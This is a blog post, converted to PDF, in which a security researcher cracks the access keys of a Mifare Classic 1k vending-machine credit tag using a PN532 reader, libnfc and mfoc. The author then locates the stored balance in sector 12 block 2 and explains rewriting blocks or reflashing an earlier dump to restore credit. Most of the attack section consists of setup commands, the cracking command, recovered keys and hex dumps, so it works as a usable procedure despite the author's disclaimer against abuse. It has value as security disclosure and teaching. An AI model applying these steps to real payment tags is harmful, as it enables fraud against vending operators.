Professional Documents
Culture Documents
FIREFART NFC stands for Near Field Communication and is used to communicate over short distances. For more
Infos on NFC you can read the Wikipedia article. NFC nowadays is used for access cards, public
that austrian transport, some more and in this case: Vending Machines. Basically there is an active NFC enabled
device (the reader) and a passive device (the tag). The active device scans for the passive one and
security guy establishes a connection on contact. It also powers the passive device via an electromagnetic field.
There is also an active - active mode where both endpoints can send data and need to be powered
Twitter seperately. This is usually used when sending data for example in “Android Beam”.
In this example the vending machine has an active NFC reader built in. You can touch it with your tag to
Github buy some drinks and the corresponding price is subtracted from the ammount stored on the tag. You
can also recharge your tag via the machine if you run out of credits.
about me rss The NFC tag I analyzed is a so called “Mifare Classic 1k” tag. 1k stands for the size of data the tag can
store. There are also other types like the “Mifare Classic 4k” and the “Mifare Mini” each having a
di erent memory size.
Mifare Classic in general is stated insecure, because it’s encryption protocol has been cracked. More
deatiled Information about this can be found in the following links:
http://www.cs.ru.nl/~flaviog/publications/Attack.MIFARE.pdf
http://www.cs.ru.nl/~flaviog/publications/Dismantling.Mifare.pdf
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
http://www.cs.ru.nl/~flaviog/publications/Pickpocketing.Mifare.pdf
A Mifare Classic 1k tag contains 16 sectors. Each of these sectors has 3 blocks of data storage and 1
block for storing the secret access keys and access controls. Each block contains 16 bytes of data.
Before reading a sector, the reader must authenticate to the tag with a secret access key. Each sector
has two keys: Key A and Key B Each of the 16 sectors can define it’s own access right and wich key is
needed for a particular action. As an example you can define to use Key A for reading the block and Key
B for writing to it. Sector 0 Block 0 also contains a non changeable UID (the tags unique ID) and some
manufacturer data. This section is only writeable on some special chinese tags.
Github
about me rss
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
FIREFART
that austrian
security guy
Github
about me rss
More about Mifare in general can be found on Wikipedia. For more information on Mifare 1k Tags, the
memory layout and more details you can visit these pages:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
http://www.fuzzysecurity.com/tutorials/rfid/2.html
Now I will demonstrate how to get all access keys for all sectors, locate the credits and modify them.
For this example I used the PN532 Breakout Board from Adafruit connected via an USB UART TTL Cable
and as an alternative a Raspberry Pi with the PN352 Breakout Board. These items can be purchased
from various online shops around the world.
FIREFART
that austrian
security guy
Github
about me rss
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
FIREFART
that austrian
security guy
Github
For connection instructions on the Raspberry Pi please refer to https://learn.adafruit.com/adafruit-nfc-
about me rss rfid-on-raspberry-pi/testing-it-out.
Important notice: NFC and the used attack depend a lot on timing. Connecting a NFC device to a VM
running linux will not work reliable because the drivers mess with this timing. I spent a lot of time
finding this out, so please boot into a linux live cd for the following example or use a Raspberry Pi.
Here are the basics to set your machine up for getting the access keys.
The first step is to set up libnfc so the OS can communicate with the NFC reader. You can get the latest
libnfc version from https://github.com/nfc-tools/libnfc/releases. At the time of writing the current
version was 1.7.1.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
apt-get install autoconf libtool libusb-dev libpcsclite-dev build-essential
wget https://github.com/nfc-tools/libnfc/releases/download/libnfc-1.7.1/libnfc-1.7.1.tar.bz2
tar -jxvf libnfc-1.7.1.tar.bz2
cd libnfc-1.7.1
autoreconf -vis
./configure --with-drivers=all --sysconfdir=/etc --prefix=/usr
make
sudo make install
sudo mkdir /etc/nfc
sudo mkdir /etc/nfc/devices.d
FIREFART When using the USB TTL cable issue the following command:
that austrian
security guy sudo cp contrib/libnfc/pn532_via_uart2usb.conf.sample /etc/nfc/devices.d/pn532_via_uart2usb.conf
Twitter If you connect the breakout board directly to your Raspberry PI’s UART pins you need to copy the
following file:
Github
sudo cp contrib/libnfc/pn532_uart_on_rpi.conf.sample /etc/nfc/devices.d/pn532_uart_on_rpi.conf
about me rss
There are other config files like SPI too, just look in the contrib/libnfc/ folder and select the
appropriate file.
If you use Kali the libnfc library is already installed, but missing some drivers (in my case the uart
driver). You can overwrite the Kali installation with the setup from above.
A er installing we need to test the communication to the NFC-reader. Connect your NFC device and run
the following command
nfc-list
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
it should output something like (example with USB-UART Cable)
# nfc-list
nfc-list uses libnfc 1.7.1
NFC device: pn532_uart:/dev/ttyUSB0 opened
On a Raspberry Pi it shows
# nfc-list
FIREFART
nfc-list uses libnfc 1.7.1
NFC device: pn532_uart:/dev/ttyAMA0 opened
that austrian
Now your reader is connected and we can start cracking our keys. We will use the tool “mfoc - Mifare
security guy Classic O line Cracker” available from https://github.com/nfc-tools/mfoc. Kali linux has it already
installed.
Twitter
If you are not on KALI or you want the latest version of mfoc you need to compile it on your own by
executing the following commands.
Github
wget -O mfoc-master.zip https://github.com/nfc-tools/mfoc/archive/master.zip
unzip mfoc-master.zip
about me rss cd mfoc-master/
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
autoreconf -vis
./configure
make
make install
To start the key cracking connect your reader, place the tag on the antenna and run
mfoc -O output.mfd
This command first looks for some default keys used by many Miface Classic tags and then tries to crack
FIREFART the missing keys. On my sample tag the whole procedure was done in under one minute.
that austrian If the tool outputs “Maybe you should increase the number of probes”, the cracking was not successful.
I got this message when running in a VMWare environment or by using crappy hardware. Switching to
security guy the Adafruit breakout board and a dedicated linux solved the problem for me.
Twitter If you manage to crack all the keys you can see the HEX encoded contents of the key on your terminal
and also in the output file output.mfd.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
* SmartMX with MIFARE 1K emulation
Other possible matches based on ATQA & SAK values:
FIREFART
[Key: 1a982c7e459a] -> [xxxxxxxxxxxx////]
[Key: aabbccddeeff] -> [xxxxxxxxxxxx////]
[Key: 714c5c886e97] -> [xxxxxxxxxxxx////]
that austrian [Key: 587ee5f9350f] -> [xxxxxxxxxxxx////]
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Using sector 00 as an exploit sector
Sector: 12, type B, probe 0, distance 18504 .....
Found Key: B [ad4fb33388bf]
Sector: 13, type B, probe 0, distance 18502 .....
Found Key: B [2a6d9205e7ca]
Sector: 14, type B, probe 0, distance 18500 .....
Sector: 14, type B, probe 1, distance 18502 .....
Sector: 14, type B, probe 2, distance 18502 .....
Found Key: B [b8a1f613cf3d]
FIREFART
Sector: 15, type B, probe 0, distance 18502 .....
Found Key: B [bedb604cc9d1]
Auth with all sectors succeeded, dumping keys to a file!
that austrian Block 63, type A, key a0a1a2a3a4a5 :00 00 00 00 00 00 4b 44 bb 5a 00 00 00 00 00 00
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Block 42, type A, key a0a1a2a3a4a5 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 41, type A, key a0a1a2a3a4a5 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 40, type A, key a0a1a2a3a4a5 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 39, type A, key a0a1a2a3a4a5 :00 00 00 00 00 00 78 77 88 69 00 00 00 00 00 00
Block 38, type A, key a0a1a2a3a4a5 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 37, type A, key a0a1a2a3a4a5 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 36, type A, key a0a1a2a3a4a5 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 35, type A, key a0a1a2a3a4a5 :00 00 00 00 00 00 78 77 88 69 00 00 00 00 00 00
Block 34, type A, key a0a1a2a3a4a5 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 33, type A, key a0a1a2a3a4a5 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 32, type A, key a0a1a2a3a4a5 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
FIREFART
Block 31, type A, key a0a1a2a3a4a5 :00 00 00 00 00 00 78 77 88 69 00 00 00 00 00 00
Block 30, type A, key a0a1a2a3a4a5 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 29, type A, key a0a1a2a3a4a5 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
that austrian Block 28, type A, key a0a1a2a3a4a5 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Block 07, type A, key a0a1a2a3a4a5 :00 00 00 00 00 00 78 77 88 69 00 00 00 00 00 00
Block 06, type A, key a0a1a2a3a4a5 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 05, type A, key a0a1a2a3a4a5 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 04, type A, key a0a1a2a3a4a5 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 03, type A, key a0a1a2a3a4a5 :00 00 00 00 00 00 61 e7 89 c1 00 00 00 00 00 00
Block 02, type A, key a0a1a2a3a4a5 :00 00 00 00 00 00 00 00 09 38 09 38 09 38 09 38
Block 01, type A, key a0a1a2a3a4a5 :d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 00, type A, key a0a1a2a3a4a5 :8e db 1a 2a 65 88 04 00 48 85 14 90 59 80 01 11
The terminal output is upside down - the first block containing the UID is at the bottom. If you view the
FIREFART output.mfd file with hexdump you can see it in the right order.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
00000150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000170 a0 a1 a2 a3 a4 a5 78 77 88 69 b0 b1 b2 b3 b4 b5 |......xw.i......|
00000180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000001a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000001b0 a0 a1 a2 a3 a4 a5 78 77 88 69 b0 b1 b2 b3 b4 b5 |......xw.i......|
000001c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000001d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000001e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000001f0 a0 a1 a2 a3 a4 a5 78 77 88 69 b0 b1 b2 b3 b4 b5 |......xw.i......|
FIREFART
00000200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
that austrian 00000230 a0 a1 a2 a3 a4 a5 78 77 88 69 b0 b1 b2 b3 b4 b5 |......xw.i......|
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
00000380 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd |................|
00000390 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd |................|
000003a0 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd |................|
000003b0 a0 a1 a2 a3 a4 a5 0f 00 ff e5 b8 a1 f6 13 cf 3d |...............=|
000003c0 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd |................|
000003d0 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd |................|
000003e0 00 00 51 5f 03 59 ef 00 00 00 00 00 4d 49 43 00 |..Q_.Y......MIC.|
000003f0 a0 a1 a2 a3 a4 a5 4b 44 bb 5a be db 60 4c c9 d1 |......KD.Z..`L..|
The file shows all 16 sectors. Here is an example of one sector: 3x16 bytes of data followed by 16 bytes
of access keys and accecss bits.
FIREFART Block 0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
that austrian Block 1 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Twitter
This is an empty block, Key A is a0 a1 a2 a3 a4 a5 , Key B is b0 b1 b2 b3 b4 b5 and the access bits
are 78 77 88 . The value 69 is contained in a special register available for user data (see the Mifare
Github Classic Datasheet for more information).
The next step is to locate the credits on the tag. The vending machine shows you the credits le on the
about me rss tag when holding it to reader.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
FIREFART
that austrian
security guy
Github
about me rss
So the tag currently contains exactly 3,45€. So lets first search for the Hex value of 45 (0x2d): Nothing
found. Next we try to convert our 3,45€ to cents which will be 345 (0x01 0x59): Gotcha! The credits are
located in sector 12 block 2 (counting starts at zero).
Block 0 | 88 01 00 84 00 04 b0 1a 00 00 5d 00 01 05 00 f1
Block 1 | 01 01 01 ee ee ee ee ee 00 00 00 00 00 00 00 00
Block 2 | 00 01 59 01 00 6f 00 01 00 00 00 00 8c c3 00 00
Block 3 | a0 a1 a2 a3 a4 a5 1e 11 ee 5a ad 4f b3 33 88 bf
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
FIREFART
that austrian
security guy
Github
about me rss
We can verify this block by buying something from the machine or put some more credits on the tag
and then read the appropriate sector again.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
FIREFART
that austrian
security guy
Github
about me rss
You can decode the Access Bits via the App NFC TagInfo.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
FIREFART
that austrian
security guy
Github
about me rss
The App decodes the access bits for Sector 12 Block 2 to: “Key B is needed for reading and writing to
this block”
The next step will be to reprogram the tag and add credits without paying for it.
PS: I never abused this finding for getting free drinks. I always subtracted my test buyings from the
initial ammount. If you use this findings to get free drinks, this may have legal consequences for you so
please do not abuse it.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
To reprogram the tag I used the android app “Mifare Classic Tool” available under
https://play.google.com/store/apps/details?id=de.syss.MifareClassicTool. Sadly not every Android
Phone supports these Mifare Classic tags. For example my old Samsung Galaxy S3 can read and write
the tag, on my Nexus 5 it’s not supported. You can find a list of supported and unsupported devices on
the homepage https://github.com/ikarus23/MifareClassicTool/. This app lets you add your own keyfile
(“Add/Remove Keys”) cracked by mfoc. Just create a new key file and insert your keys one per line.
Using the write option you can write exactly one block back to the tag, or reflash a complete memory
dump. Be careful when writing a direct block because if you overwrite the last block of a sector (the one
containg the keys), your tag will be irreversible damaged. I did this to mine because I didn’t notice the
block numbers start at 0. So you can also create a full memory dump of your tag and when you have no
FIREFART
credits le , reflash the old image and your credits will be reset.
that austrian
security guy
Github
about me rss
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
FIREFART
that austrian
security guy
Github
about me rss
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
SAK (SEL_RES): 08
Guessing size: seems to be a 1024-byte card
Writing 64 blocks |..failed to write trailer block 3
x............................................................|
Done, 62 of 64 blocks written.
A er examining other tags for the same vending machine I noticed that these all have di erent keys. It
seems like the vending machine calculates the keys based on the tags unique UID or something else to
add an extra layer of security. So far I have not managed to crack the scheme. If you manage to derive
the key from the captures below please contact me so I can verify it with other tags.
FIREFART I put some dumps here for download if you want to investigate the key derivation scheme:
Twitter Tag 3
Github
Copyright by Christian Mehlmauer
about me rss
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD